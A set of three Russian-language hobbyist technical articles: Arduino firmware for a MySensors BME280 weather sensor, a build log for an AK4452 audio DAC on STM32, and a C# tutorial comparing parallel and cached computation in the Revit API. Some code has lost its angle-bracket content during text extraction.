Передача данных на контролер умного дома:
>
> ```
> send(voltMsg.set(batteryVoltage)); // отправка данных о заряде батарейки в mW
> sendBatteryLevel(currentBatteryPercent); // отправка данных о заряде батарейки в %
> send(temperatureMsg.set(temperature, 1)); // отправка данных о температуре, точность 1 знак после запятой
> send(humidityMsg.set(humidity, 0)); // отправка данных о влажности, точность 0 знаков после запятой
> send(pressureMsg.set(pressure, 0)); // отправка данных о давлении, точность 0 знаков после запятой
>
> ```
>
>
>
**Ардуино код программы**
```
#include
#include
#include
#include
//#define MY\_DEBUG
#define MY\_RADIO\_NRF5\_ESB
#define MY\_RF24\_PA\_LEVEL (NRF5\_PA\_MAX)
#define MY\_DISABLED\_SERIAL
#define MY\_PASSIVE\_NODE
#define MY\_NODE\_ID 1
#define MY\_PARENT\_NODE\_ID 0
//#define MY\_PARENT\_NODE\_IS\_STATIC
//#define MY\_TRANSPORT\_UPLINK\_CHECK\_DISABLED
#include
bool sleep\_flag;
bool metric = true;
bool last\_sent\_value;
uint16\_t currentBatteryPercent;
uint16\_t lastBatteryPercent = 1000;
uint16\_t battery\_vcc\_min = 2150;
uint16\_t battery\_vcc\_max = 2950;
uint16\_t batteryVoltage;
uint16\_t battery\_alert\_level = 25;
uint32\_t default\_sleep\_time = 60000;
uint32\_t SLEEP\_TIME;
uint32\_t newmillisforbatt;
uint32\_t battsendinterval = 3600000;
float tempThreshold = 0.5;
float humThreshold = 5;
float presThreshold = 1;
float pres\_mmThreshold = 1;
float temperature;
float pressure;
float pressure\_mm;
float humidity;
float lastTemperature = -1;
float lastHumidity = -1;
float lastPressure = -1;
float lastPressure\_mm = -1;
#define SEALEVELPRESSURE\_HPA (1013.25)
Adafruit\_BME280 bme;
#define TEMP\_CHILD\_ID 0
#define HUM\_CHILD\_ID 1
#define BARO\_CHILD\_ID 2
#define CHILD\_ID\_VOLT 254
MyMessage voltMsg(CHILD\_ID\_VOLT, V\_VOLTAGE);
MyMessage temperatureMsg(TEMP\_CHILD\_ID, V\_TEMP);
MyMessage humidityMsg(HUM\_CHILD\_ID, V\_HUM);
MyMessage pressureMsg(BARO\_CHILD\_ID, V\_PRESSURE);
void preHwInit() {
pinMode(21, INPUT);
pinMode(25, OUTPUT);
digitalWrite(25, HIGH);
pinMode(26, OUTPUT);
digitalWrite(26, HIGH);
pinMode(27, OUTPUT);
digitalWrite(27, HIGH);
}
void before() {
NRF\_POWER->DCDCEN = 1;
NRF\_NFCT->TASKS\_DISABLE = 1;
NRF\_NVMC->CONFIG = 1;
NRF\_UICR->NFCPINS = 0;
NRF\_NVMC->CONFIG = 0;
if (NRF\_SAADC->ENABLE) {
NRF\_SAADC->TASKS\_STOP = 1;
while (NRF\_SAADC->EVENTS\_STOPPED) {}
NRF\_SAADC->ENABLE = 0;
while (NRF\_SAADC->ENABLE) {}
}
pinMode(BLUE\_LED, OUTPUT);
pinMode(RED\_LED, OUTPUT);
digitalWrite(BLUE\_LED, HIGH);
digitalWrite(RED\_LED, HIGH);
digitalWrite(27, LOW);
}
void setup()
{
digitalWrite(27, HIGH);
bme\_initAsleep();
wait(100);
sendBatteryStatus();
wait(100);
}
void presentation() {
sendSketchInfo("EFEKTA BME280 Sensor", "1.2");
present(CHILD\_ID\_VOLT, S\_MULTIMETER, "Battery");
present(TEMP\_CHILD\_ID, S\_TEMP, "TEMPERATURE [C or F]");
present(HUM\_CHILD\_ID, S\_HUM, "HUMIDITY [%]");
present(BARO\_CHILD\_ID, S\_BARO, "PRESSURE [hPa or mmHg]");
}
void loop() {
wait(10);
bme.takeForcedMeasurement();
wait(100);
sendData();
if (millis() - newmillisforbatt >= battsendinterval) {
sleep\_flag = 1;
sendBatteryStatus();
}
if (sleep\_flag == 0) {
sleep(SLEEP\_TIME);
sleep\_flag = 1;
}
}
void blinky(uint8\_t pulses, uint8\_t repit, uint8\_t ledColor) {
for (int x = 0; x < repit; x++) {
if (x > 0) {
sleep(500);
}
for (int i = 0; i < pulses; i++) {
if (i > 0) {
sleep(100);
}
digitalWrite(ledColor, LOW);
wait(20);
digitalWrite(ledColor, HIGH);
}
}
}
void sendBatteryStatus() {
wait(20);
batteryVoltage = hwCPUVoltage();
wait(2);
if (batteryVoltage > battery\_vcc\_max) {
currentBatteryPercent = 100;
}
else if (batteryVoltage < battery\_vcc\_min) {
currentBatteryPercent = 0;
}
else {
if (lastBatteryPercent == 1000) {
currentBatteryPercent = (100 \* (batteryVoltage - battery\_vcc\_min)) / (battery\_vcc\_max - battery\_vcc\_min) + 5;
} else {
currentBatteryPercent = (100 \* (batteryVoltage - battery\_vcc\_min)) / (battery\_vcc\_max - battery\_vcc\_min) - 5;
}
}
sendBatteryLevel(currentBatteryPercent);
wait(100);
if (lastBatteryPercent < battery\_alert\_level) {
blinky(3, 1, RED\_LED);
}
else {
blinky((last\_sent\_value == true ? 2 : 1), 1, BLUE\_LED);
}
sleep\_flag = 0;
newmillisforbatt = millis();
}
void sendData() {
temperature = bme.readTemperature();
wait(20);
humidity = bme.readHumidity();
wait(20);
pressure = bme.readPressure() / 100.0F;
if (!metric) {
temperature = temperature \* 9.0 / 5.0 + 32.0;
} else {
pressure = pressure \* 0.75006375541921;
}
CORE\_DEBUG(PSTR("MY\_TEMPERATURE: %d\n"), (int)temperature);
CORE\_DEBUG(PSTR("MY\_HUMIDITY: %d\n"), (int)humidity);
CORE\_DEBUG(PSTR("MY\_PRESSURE: %d\n"), (int)pressure);
if (abs(temperature - lastTemperature) >= tempThreshold) {
send(temperatureMsg.set(temperature, 1));
lastTemperature = temperature;
sleep(1000);
}
if (abs(humidity - lastHumidity) >= humThreshold) {
send(humidityMsg.set(humidity, 0));
lastHumidity = humidity;
sleep(1000);
}
if (abs(pressure - lastPressure) >= presThreshold) {
send(pressureMsg.set(pressure, 0));
lastPressure = pressure;
sleep(1000);
}
sleep\_flag = 0;
}
void bme\_initAsleep() {
if (! bme.begin(&Wire)) {
while (1);
}
bme.setSampling(Adafruit\_BME280::MODE\_FORCED,
Adafruit\_BME280::SAMPLING\_X1, // temperature
Adafruit\_BME280::SAMPLING\_X1, // pressure
Adafruit\_BME280::SAMPLING\_X1, // humidity
Adafruit\_BME280::FILTER\_OFF );
wait(1000);
}
```
Корпус для датчика разрабатывался в 3Д редакторе:

Напечатан был на 3D принтере ANYCUBIC FOTON, использовалась смола белого цвета этого же производителя, толщина слоя была выбрана средняя — 50микрон. Время печати корпуса и крышки 3 часа.
**STL модели корпуса**
[drive.google.com/file/d/1sH7OFHDXGyClALwycZTnVrVWeZSRsDGL/view?usp=sharing](https://drive.google.com/file/d/1sH7OFHDXGyClALwycZTnVrVWeZSRsDGL/view?usp=sharing)
[drive.google.com/file/d/1zNQZM34oHIe2Ph-Pr222O\_wTTxD\_gLIl/view?usp=sharing](https://drive.google.com/file/d/1zNQZM34oHIe2Ph-Pr222O_wTTxD_gLIl/view?usp=sharing)



Сеть MySensors в которой работает датчик обменивается данными с системой умного дома Мажордомо. Зарегистрированный датчик в модуле Майсенсорс Мажордомо выглядит так:


**Видео с тестом**
Для желающих сделать себе такой же в статье даны ссылки на всё необходимое.
Место где всегда с радостью помогут всем кто хочется познакомиться с **MYSENSORS** (установка плат, работа с микроконтролерами nRF5 в среде Arduino IDE, советы по работе с протоколом mysensors — [@mysensors\_rus](https://tgclick.com/mysensors_rus) | https://habr.com/ru/post/455856/ | null | ru | null |
# AK4452 запуск бюджетного HiFi DAC
Питание
-------
Начнем с питания. Чип имеет 3 питания. Digital 1.8V, 3.3V. Analog 3.3V или 5V. Причем 1.8V можно получить либо от внешнего либо от внутреннего источника питания. В зависимости куда подключен вывод LDDE. Если нога LDDE на 3V3 берется внутренний источник. Но на него надо внешне подключить конденсатор
Схема немного "паукообразная" и я как-то не так провел пальцем по линиям. Подключил наоборот. Пришлось добавить внешний LDO на 1V8. Резать дорожку под микросхемой QFN и подводить под нее сигнал не получилось
Сброс
-----
Сброс и начало работы AK4452Требуется подать 1 на PDN pin и после этого установить RSTN bit в регистре управления с аресом 00H
Код сброса AK4452
```
HAL_GPIO_WritePin(GPIOB, GPIO_PIN_0, GPIO_PIN_SET);
HAL_Delay(100);
HAL_GPIO_WritePin(GPIOB, GPIO_PIN_0, GPIO_PIN_RESET);
HAL_Delay(100);
HAL_GPIO_WritePin(GPIOB, GPIO_PIN_0, GPIO_PIN_SET);
HAL_Delay(100);
/*
for (int i=1; i<128; i++)
{
// the HAL wants a left aligned i2c address
// &hi2c1 is the handle
// (uint16_t)(i<<1) is the i2c address left aligned
// retries 2
// timeout 2
uint16_t addr = (uint16_t)(i<<1);
HAL_StatusTypeDef res = HAL_I2C_IsDeviceReady(&hi2c1, addr, 2, 50);
if (res == HAL_OK) {
// i = 10 addr = 0x20 Находим адрес AK4452
printf("0x%X", i); // Received an ACK at that address
} else {
printf("Error", i); // Received an ACK at that address
}
}
*/
```
Аттенюатор
----------
В микросхеме есть регулятор уровня. Но к моему разочарованию использовать его можно только для сглаживания щелчка Mute. Имеется 256 уровней (8bit) с шагом 0.5db. Было бы здорово организовать аппаратный регулятор громкости на этом чипе. Пока не удалось это попробовать
Регистры
--------
Коммуникация с AK4452 осуществляется по шине I2C выставлением на 13 пин 3V3. Есть возможность сконфигурировать SPI
> `13 pin I2C - Control Mode Select Pin`
>
> “L”: 3-wire serial control mode
>
> “H”: I2C Bus serial control mode or Parallel control mode.
>
>
Для запуска AK4452 достаточно выставить только один регистр 00H
ACKS=1 - автоматически детектировать MCKL
DIF2-1=NNN - Выставить скорость обмена и формат данных
RSTN=1 - Надо сделать сброс внешней ногой PDN и потом выставить этот бит в 1 (см. Сброс и начало работы)
Таблица режимов и форматов данныхSTM32 кроме I2S поддерживает так же LSB/MSB justified. Наверное режимы будут полезны для совместимости специальных контроллеров управления без I2S стандарта
Аналоговый выход
----------------
Преобразование дифференциального сигнала в сигнал с общей землей
Выход дифференциальный. Я взял сдвоенный ts922. Операционный усилитель не дорогой, может работать на наушники 32 Ом. Rail-to-rail, high output current, dual operational amplifier
На фильтры в обратной связи операционника я конечно забил, для простоты конструкции. Думаю в следующей итерации добавить, если она будет
Схемотехника
------------
Отмечены ошибки и схема дополнительного внешнего питания 1V8. AOUTL1P Это положительный дифференциальный выход Левого канала, соответственно AOUTL1N отрицательный. P-positive N-negative. Неправильное соединение резисторов в цепи обратной связи для одного из каналов
Схема соединения AK4452 с аналоговой частьюВключив тест я получил на дифференциальных выходах AK4452 сдвинутую на 180 градусов синусоиды. На выходах была странная картина. Один вход обрезался
> The analog outputs are full differential outputs and 2.8Vpp (typ, VREFH1 - VREFL1 = 5V) centered around VREFH/2. The differential outputs are summed externally, adding voltage VAOUT is calculated as (AOUT+) - (AOUT). If the summing gain is 1, the output range is 5.6Vpp (typ, VREFH1 - VREFL1= 5V). The bias voltage of the external summing circuit is supplied externally. PCM input data format is 2's complement. The output voltage (VAOUT) is a positive full scale for 7FFFFFH (@24bit) and a negative full scale for 800000H (@24bit). The ideal VAOUT is 0V for 000000H(@24bit)
>
>
Амплитуда на выходе AK4452 достигала около 2 вольта!
Дифференциальные выходы одного канала AK4452Выход LM358Даже заменил операционный усилитель на LM358 и уменьшил усиление изменением номиналов резисторов в обратной связи. Ничего не помогло
TS922Посмотрел характеристики TS922 внимательнее и проблема очевидно крылась в ограничении характеристик по дифференциальному входу
> The differential voltage is the non-inverting input terminal with respect to the inverting input terminal. If Vid±1 V, the maximum input current must not exceed ±1 mA. In this case (Vid > ±1 V), an input series resistor must be added to limit the input current
>
>
В референсном дизайне оценочной платы операционный усилитель видимо не имеет таких ограничений, поскольку питание операционного усилителя ДВУХПОЛЯРНОЕ и значительно выше питания самого AK4452. Поэтому проблем с перегрузкой нет
Выход или делать резисторный делитель или уменьшать VREFH или "гасить" программно через центр 0x80000 для 16bit и 0x800000 для 24bit. Но есть ещё поддержка 32bit *см. Таблица режимов и форматов данных*
VREFH значительно уменьшать не получится. VREFH1 min AVDD-0.5
Программно уменьшать это снижать разрядность или динамический диапазон, что не приемлемо
Остается поделить уровень сигнала до операционного усилителя
Следующая итерация
------------------
Попытка подружить ЦАП с Усилителем питаемым однополярным источником питания не получились. Посмотрел как это делают в Texas Instruments
Усилитель для наушниковОбратная связь по положительному и отрицательному входу дифференциального операционного усилителя различна. В одном случае она последовательная в другом параллельная, что в свою очередь влияет на входное сопротивление каждого из каналов. Чтобы исключить влияние этих входных сопротивлений/импедансов применяют согласовывающий буфер, для каждого входа
TI SolutionAKM еще и активные фильтры низких частот второго порядка добавили в буфер
AKM SolutionПреобразователь двухполярного напряжения TPS65135 питает TPA6120A2. На сколько я понял, TPA6120A2 это популярная микросхема у аудиофилов
Небольшая ремарка. Питание будет только +5В/-5В
Подумал что может тогда и аналоговую часть ЦАП запитать +5В?
Analog Characteristics 5VAnalog Characteristics 3.3VКоэффициент Нелинейных Искажений + Шум (THD+N) различается почти на 10dB
TPS61040Не так давно заказывал TPS61040. Смущает, что изначально она проектировалась для питания светодиодов
> The device is ideal to generate output voltages up to 28 V from a dual-cell NiMH/NiCd or a single-cell Li-Ion battery. The part can also be used to generate standard 3.3-V or 5-V to 12-V power conversions.
>
>
Для целей фильтрации питания после импульсных преобразователей есть специальный набор микросхем. Например LT3042. Правый край показывает величину подавление на частоте импульсного преобразователя, большинство из них работает на частоте 1..2 МГц. Левый край это сглаживание 50Гц-60Гц после выпрямителя блока питания
Вообще микросхема эта относительно дорогая. И для полного HiEnd надо запитать каждый канал от отдельного стабилизатора. Например в серии AK4490 наружу выведены отдельные пины, для питания левой и правой аналоговой части
Хотя в datasheet и показан общий источник, я встречал схемы питания именно с раздельными стабилизаторами для каждого канала и внутренних опорных напряжений. Это сделано чтобы снизить влияние между каналами. На сколько это оправдано и заметно на слух вопрос, но снятые АЧХ может показать влияние при определенных условиях
Питание VREFДля питания VREFHL/R в демо плате AKM применяется такое решение. Буферный усилитель (повторитель напряжения)
Для сравнения характеристики подавления пульсаций в зависимости от частоты обычной LM1117
Если не получится кину перемычку и будет 3.3В как прежде. На всякий случай добавил фильтрующую LC цепочку на выход. Хотя это может быть источником дополнительных помех. Посмотрим..
Программная часть
-----------------
Потратил время на выяснение почему не работает I2S через DMA при использовании HAL. Оказалось, что куб генерирует инициализацию в неверном порядке. Сначала надо MX\_DMA\_Init() а потом MX\_I2S3\_Init(); В комментариях наверное появятся рекомендации выкинуть HAL и писать в ручную. Но можно допустить такую ошибку и самому. Где-то в недрах мануалов должна быть описана эта ситуация. А вы знали о ней?
Исправление последовательности инициализацииDMA must be initialized before ADC peripheral, but generated code performs initialization in wrong order. It is well known minor flaw in default configuration of current STM32CubeIDE. Try to change
```
MX_GPIO_Init();
MX_I2S3_Init();
MX_DMA_Init(); // wrong order
```
to
```
MX_GPIO_Init();
MX_DMA_Init(); // right order
MX_I2S3_Init();
```
To make permanent changes,
1. Open "Project Manager" (tab near Pinout / Clock Configuration)
2. Project Manager → Advanced Settings → Generated Function Calls
3. Use tiny arrow buttons near this list to move MX\_DMA\_Init() above MX\_I2S3\_Init()
4. Save the project, generated code will have correct order
PCB
---
Отделил питание цифровой и аналоговой части на разные стабилизаторы. Взял AMS1117 3V3. Думаю хорошо бы подошел HT7833. AMS1117 у меня много для экспериментов, лента на 100 шт. Так же для устранения попадания паразитных частот от контроллера STM32, сделал "отдельную" аналоговую землю. Под ногами кварцевого резонатора убрал землю. Надо расположить в следующей итерации как можно ближе к STM32
Кварцевый резонаторРаздельное питание на цифровую и аналоговую частьPCB 2
-----
Развел новый вариант на другом усилителе для наушников
Стабилизатора питания теперь три . На 3В, 5В и +5В/-5В. Точнее 3 источника питания HT7833, TPS61040 и TPS65135. Как то сложно для плеера, вы не находите?
Пока ждал новую версию платы захотел попробовать новый усилитель, который распаян отдельной платой. Купил в широко известном в узких кругах магазине
Усилитель для наушниковВо первых столкнулся с сильным перегрузом выходного сигнала. На выходе R16, R17 не референсного значения. Перепаял на 75 Ом. Но это не особо помогло. По питанию была сильная помеха, в момент пиков. Я уже стал грешить на недостаточную емкость в фильтре питания, но все оказалось проще
Резистор 2.2КОмR14-R15 стояли 2.2 КОм вместо 820 Ом. Можно сказать, что монтаж не соответствует схеме. Вместо усиления равного единице получается два-три. При этом изменение номиналов было только для отрицательного входа. R1-R4 тоже не соответствовали номиналу. Вместо 470 Ом стояли 120 Ом. Отдать под Электронный трибунал, за такую работу!
Вот такие сюрпризы
Помеха по питанию +5/-5 осталась 100 мВ/200 мВ
После того как я перепаял резисторы, все заиграло новыми чистыми красками. Сразу почувствовал, что наушников за 25$ не хватает. Бубнят они сильно. Небольшой звон тоже присутствует. Динамический диапазон чувствуется. Слабые звуки слышны отчетливо. Ощущение как в концертном зале со средненькой акустикой
Запустил плеер из урока [STM Урок 46. I2S AUDIO. Часть 1](https://narodstream.ru/stm-urok-46-i2s-audio-chast-1/)
Пробовал [stm32-i2s-examples](https://github.com/afiskon/stm32-i2s-examples). Пример без DMA, урок более грамотно составлен. Подозреваю часть взята из примера STMicroelectronics
Внешний усилительНа тот момент выглядело это так. Подумал перенести MP3 плеер Helix отсюда [Программный декодер MP3(+). Переход на платформу STM32F407](http://we.easyelectronics.ru/STM32/programmnyy-dekoder-mp3-perehod-na-platformu-stm32f407.html)
Есть у производителя STM32 своя либа без исходных кодов, но оптимизированная. Интересно как реализована *management of input signal volume with negative gains in range [-80 dB: 0 dB] with 0.5 dB.* Можно ли это как полноценную регулировку уровня звука использовать?
Some features* MP3 encoder (MP3Enc): encoder for MPEG-1,2 or 2.5 formats (for layer 3 only) supporting fixed or free format bit rate for mono or stereo audio input streams.
* Gain manager (GAM): management of input signal volume with negative gains in range [-80 dB: 0 dB] with 0.5 dB granularity without compression
* Graphical equalizer (GREQ): 5, 8 or 10 bands. Adjustable gain factors from -12 dB to +12 dB in standard mode
[X-CUBE-AUDIO ACTIVE - Audio effects software expansion for STM32Cube](https://www.st.com/content/st_com/en/products/embedded-software/mcu-mpu-embedded-software/stm32-embedded-software/stm32cube-expansion-packages/x-cube-audio.html)
Есть еще проект USB микрофона с использованием эквалайзера от Andy [I2S USB Microphone](https://github.com/andysworkshop/usb-microphone)
Из этого проекта [сколхозил (см. GitHub)](https://github.com/app-z/AK4452-STM32) регулятор громкости. На самом деле можно было и из примера ST взять. Регулятор как и Эквалайзер программный. Отъедает ресурсы системы
Smart volume control library
software expansion for STM32CubeВызываются части обработки звука последовательно. Причем с возвратом результата в исходный буфер, что удобно
Graphical equalizer library
software expansion for STM32CubeВызов процессинга регулировки громкости и эквалайзера
```
_graphicEqualiser.process(_processBuffer, MIC_SAMPLES_PER_PACKET / 2);
_volumeControl.process(_processBuffer, MIC_SAMPLES_PER_PACKET / 2);
```
В чипе имеется дополнительный функционал по регулировке звука и фильтры
### Daisy Chain
AK4452 Может работать в четырех, восьми и шестнадцатиканальном режиме. Чипы в таком режиме составляются в последовательную гирлянду
16 Канальный режимРегулировка качества звука
--------------------------
Режим регулировки качества звука. Не выяснил что это подразумевается
Цифровые фильтры
----------------
Как написано в описании предоставляется различная окраска звука. Видимо что-то наподобие Джаз/Поп/Рок предустановок
Выводы
------
В заключении скажу что я слушал маленькую широкополосную колонку на cs4434 и pcm5102 разница была заметна невооруженным ухом, так сказать. Что касается AK4452 DAC отличный. Моих бюджетных Philips RP‑HTF295 наушников явно нехватает для такого DAC и усилителя. Посоветуйте в коментариях, что взять на пробу
Matrix, Neo
Panasonic RP-HT202Теплый ламповый звук 1956 Silvertone 1333 хорошо бы подошел для такого ЦАП
Сылки на материалы из статьи<https://www.akm.com/eu/en/products/audio/audio-dac/ak4452vn/>
<https://www.analog.com/media/en/technical-documentation/data-sheets/3042fb.pdf>
<https://files.teson.ru/iblock/a85/a85a6324951de60cde7553b5d6f5cc57/kit_9_2019.pdf>
<https://www.ixbt.com/multimedia/sound-faq.shtml>
<https://www.st.com/en/embedded-software/stm32-audio100a.html>
<https://github.com/app-z/AK4452-STM32> | https://habr.com/ru/post/589643/ | null | ru | null |
# Практические приемы использования многопоточных вычислений при работе с Revit API
Я архитектор, долгое время проектировал здания и сооружения, но вот с лета прошлого года начал программировать на C# используя Revit API. У меня уже есть несколько модулей-надстроек для Revit и теперь я хочу поделиться некоторым опытом разработки для Revit. Предполагается, что читатели умеют писать макросы для Revit на C#.
Недавно исследуя многопоточные вычисления пришел к некоторым неожиданным для себя выводам и избавился от заблуждений связанных с работой Revit API. В этой статье я напишу как ускорить работу макросов в несколько раз, какие ограничения при работе с параллельными вычислениями у Revit API, что бы наконец не оставалось вопросов.
В прошлый раз, когда я писал о параллельных вычислениях, я решал абстрактную задачу, рассматривая работу вычислений в многопоточном режиме. Сейчас рассмотрим следующую практическую задачу:
1. Выделим несколько сотен стен, найдем середину каждой стены в плане.
2. Проверим расстояние между средними точками всех стен, и найдем две наиболее близко расположенные стены относительно их центров.
3. Выполним эту задачу несколькими способами и определим самый быстрый с точки зрения скорости вычислений.
Выполняя параллельные вычисления, мы можем работать и непосредственно с объектами Revit API (в данном случае с Wall), но при этом нам надо помнить о двух обстоятельствах:
1. **Мы не можем открывать сразу несколько параллельных транзакций.** Одновременно в Ревит может быть открыта только одна транзакция, а создавая транзакции при параллельных вычислениях мы одновременно создадим несколько параллельных транзакций.
2. **Внутри транзакций нельзя изменять объекты Revit API в параллельном режиме.** Поэтому всегда отделяйте обработку данных объектов Revit API и трансформацию проекта.
Казалось бы можно приступить к тесту, но есть еще одно обстоятельство. Выполняя некоторые вычисления в цикле с объектами Ревит, важно не допустить повторного вычисления промежуточных значений (в нашем случае вычисление средней точки стены). Как оказывается, это очень затратная операция, которую обязательно надо кэшировать.
Мы же пойдем дальше в исследованиях и создадим класс, который даже будет предварительно получать свойства объектов Revit API, то есть кэшировать их. Кроме того наш класс сможет кэшировать значение средней точки стены. Что же, теперь приступим.
Сначала создадим макрос WallTesting. Не забудем добавить пару библиотек, необходимых для работы с параллельными вычислениями.
```
using System.Threading.Tasks; // Библиотека для работы параллельными задачами
using System.Collections.Concurrent; //Библиотека, содержащая потокобезопасные коллекции
```
И теперь создадим кэширующий класс, который будет предварительно получать необходимые для работы свойства объектов стен.
```
public class MyCacheWall //Кэширующий класс в который добавим все необходимые параметры из элементов Wall для данных вычислений
{
private LocationCurve wallLine; //Добавляем линию основание стены, она понадобится для вычислений
private XYZ p1 = new XYZ(); //Добавляем первую точку линии основания
private XYZ p2 = new XYZ(); //Добавляем вторую точку основания линии стены
public XYZ pCenter; //Добавляем среднюю точку стены, которую будем вычислять, но не задаем начальное значение
public MyCacheWall (LocationCurve WallLine) //Конструктор пользовательского класса стены
{
this.wallLine = WallLine; //Делаем в конструкторе минимум работы - просто передаем нужные нам параметры для вычислений
}
public XYZ GetPointCenter (bool cash) //Метод, вычисляющий среднюю точку стены, с ключом определяющим возможность кэширования
//Улучшим наш неплохой класс добавив возможность кэшировать вычисления средней точки
{
if (cash) //С кэшированием значений
{
if (pCenter == null)
{
p1 = wallLine.Curve.GetEndPoint(0);
p2 = wallLine.Curve.GetEndPoint(1);
return pCenter = new XYZ((p2.X + p1.X)/2, (p2.Y + p1.Y)/2, (p2.Z + p1.Z)/2);//Тут немножко вспоминаем векторную геометрию за 9 класс школы
}
else return pCenter;
}
else //Без кэширования
{
p1 = wallLine.Curve.GetEndPoint(0);
p2 = wallLine.Curve.GetEndPoint(1);
return pCenter = new XYZ((p2.X + p1.X)/2, (p2.Y + p1.Y)/2, (p2.Z + p1.Z)/2);//Тут немножко вспоминаем векторную геометрию за 9 класс школы
}
}
public double GetLenght (XYZ x) //Метод, вычисляющий расстояние до предложенной ему средней точки другой стены
{
XYZ vector = new XYZ((pCenter.X - x.X), (pCenter.Y - x.Y), (pCenter.Z - x.Z)); //Находим вектор между средней точкой первой стены и второй стены
return vector.GetLength(); //Находим длину вектора между средними точками двух стен
}
}
```
В общем состав кэширующего класса и его работа расписана в комментариях. Теперь можно написать метод WallWithCashParallel, который будет работать с нашим кэширующим классом MyCashWall и сможет выполнять наши задачи в параллельном или последовательном режиме, да еще мы сможет выбрать, стоит ли кэшировать вычисление средней точки.
```
string WorkWithWallCashParallel(Document doc, ICollection selectedIds, bool cash, bool parallel)
//Ключ cash говорит сооветствующим методам, надо ли использовать кэшированное значение средней точки
//Ключ parallel определяем в многопоточном режиме работаем или в последовательном
{
List wallList = new List(); //Добавляем вспомогательные члены - список в который перенесем необходимые свойства из элементов Wall
List minPoints = new List(); //В этом списке будут храниться минимальные расстояния от каждой стены
ConcurrentBag minPointsBag = new ConcurrentBag(); //Это специальная потокобезопасная коллекция, для занесения данных в многопоточном режиме
DateTime end; //Далее проверим как будет работать наша вычисления в многопоточном режиме
DateTime start = DateTime.Now; //Засекаем время
foreach (ElementId e in selectedIds) // Помещаем необходимые свойства элемента Wall в свои объекты MyWall.
//Эта основная операция кеширования данных, необходимых для работы, их больше не придется извлекать из элементов
{
Element el = doc.GetElement(e); //получаем элемент по его Id
Wall w = el as Wall; //Смотрим, стена ли это
if (w != null) //Если стена -
{
wallList.Add( new MyCacheWall (w.Location as LocationCurve)); // Создаем объект MyCacheWall и добавляем в его необходимые свойства из элемента Wall
}
}
if (parallel) //Если работаем в многопоточном режиме
{
System.Threading.Tasks.Parallel.For(0, wallList.Count, x => //Далее будем последовательно у каждого объекта MyWall сравнивать
//расстояние от средней точки до средней точки всех остальных объектов (стен). Запускаем задачу в параллельном режиме
{
List allLenght = new List(); //Это вспомогательный список
wallList[x].GetPointCenter(cash); //Находим срединную точку текущего объекта. Больше ее не придется вычислять
foreach (MyCacheWall nn in wallList) //проверяем расстояние до каждой срединной точки остальных объектов(стен)
{
double n = wallList[x].GetLenght( nn.GetPointCenter(cash) );
if (n != 0) //Исключаем добавление в список текущего объекта
allLenght.Add(n); //И записываем все расстояния в этот вспомогательный список
}
allLenght.Sort(); //Сортируем вспомогательный список
minPointsBag.Add(allLenght[0]); //Добавляем наименьшее расстояние в соответствующий потокобезопачный список
});//Заканчиваем задачу
minPoints.AddRange(minPointsBag); //Размещаем потокобезопасную коллекцию в простой, для удобства работы
}
else Если работаем в последовательном режиме
{
for(int x = 0; wallList.Count > x; x++) //Далее будем последовательно у каждого объекта MyWall сравнивать
//расстояние от средней точки до средней точки всех остальных объектов (стен). Запускаем задачу в последовательном режиме
{
List allLenght = new List(); //Это вспомогательный список
wallList[x].GetPointCenter(cash); //Находим срединную точку текущего объекта. Больше ее не придется вычислять
foreach (MyCacheWall nn in wallList) //проверяем расстояние до каждой срединной точки остальных объектов(стен)
{
double n = wallList[x].GetLenght( nn.GetPointCenter(cash) );
if (n != 0) //Исключаем добавление в список текущего объекта
allLenght.Add(n); //И записываем все расстояния в этот вспомогательный список
}
allLenght.Sort(); //Сортируем вспомогательный список
minPoints.Add(allLenght[0]); //Добавляем наименьшее расстояние в соответствующий список
}//Заканчиваем задачу
}
minPoints.Sort(); //Сортируем все минимальные расстояния
double minPoint = minPoints[0]; //Берем самое маленькое расстояние между стенами
end = DateTime.Now; // Записываем текущее время
TimeSpan ts = (end - start);
return ts.TotalMilliseconds.ToString() + " миллисекунд. " + "\nМин. расстояние между стенами - " + (minPoint\*304.8).ToString();
}
```
В приложенном файле вы еще найдете методы WorkWithWall и WorkWithWallCashValue.
Метод WorkWithWall решает наши задачи в параллельном и последовательном режиме, работает непосредственно с объектами Revit API, но не кэширует вычисление средней точки стены.
Метод WorkWithWallCashValue тоже решает наши задачи в параллельном и последовательном режиме, работает непосредственно с объектами Revit API, но этот метод кэширует вычисление средней точки стены.
Теперь создадим главный рабочий метод WallTesting:
```
public void WallTesting ()
{
Document doc = this.Document; //Создаем документ
Selection selection = this.Selection; // получаем выделенные объекты
ICollection selectedIds = this.Selection.GetElementIds(); //и помещаем их в коллекцию
TaskDialog.Show("Revit",
"\*\*\*Без кэширования\*\*\*\n"
+"\nПараллельная работа, потраченное время - " + WorkWithWall(doc, selectedIds, true)
+"\nПоследовательная работа, потраченное время - " + WorkWithWall(doc, selectedIds, false)
+"\n\n\*\*\*С кэшированием средней точки стен\*\*\*\n"
+"\nПараллельная работа, потраченное время - " + WorkWithWallCashValue(doc, selectedIds, true)
+"\nПоследовательная работа, потраченное время - " + WorkWithWallCashValue(doc, selectedIds, false)
+"\n\n\*\*\*С кэшированием свойств объектов в классе\*\*\*\n"
+"\nПараллельная работа, потраченное время - " + WorkWithWallCashParallel(doc, selectedIds, false, true)
+"\nПоследовательная работа, потраченное время - " + WorkWithWallCashParallel(doc, selectedIds, false, false)
+"\n\n\*\*\*С кэшированием свойств объектов и значений в классе\*\*\*\n"
+"\nПараллельная работа, потраченное время - " + WorkWithWallCashParallel(doc, selectedIds, true, true)
+"\nПоследовательная работа, потраченное время - " + WorkWithWallCashParallel(doc, selectedIds, true, false)
);
}
```
Теперь работа завершена, остается создать примерно 2000 стен, запустить макрос у увидеть, как он работает. Я не делал обработчик исключения, на тот случай, если стены не выделены перед запуском макроса. Так, что не забудьте сначала выделить стены.

**Выводы**
В общем можно сделать достаточно интересные выводы. Возьмем за эталон, с которым все будем сравнивать, последовательную обработку объектов в цикле без всякого кэширования промежуточных результатов.
Очевидно, что выполнять обработку массивов элементов, не сохраняя при этом результаты промежуточных вычислений (точки середины стены) неблагоразумно. При этом скорость параллельной обработки непосредственно элементов Revit API по сравнению с простой последовательной обработкой элементов Revit API будет падать при возрастании количества обрабатываемых элементов в цикле. Разница достигает до 6 раз при обработке цикла из 2000 стен.
Если мы кэшируем значения промежуточных вычислений (предварительно сохраним значения средней точки стены), мы уже получим солидную прибавку к скорости, вычисления станут быстрее в 414 и 170 раз при параллельной и последовательной обработке стен массива из 2000 стен.
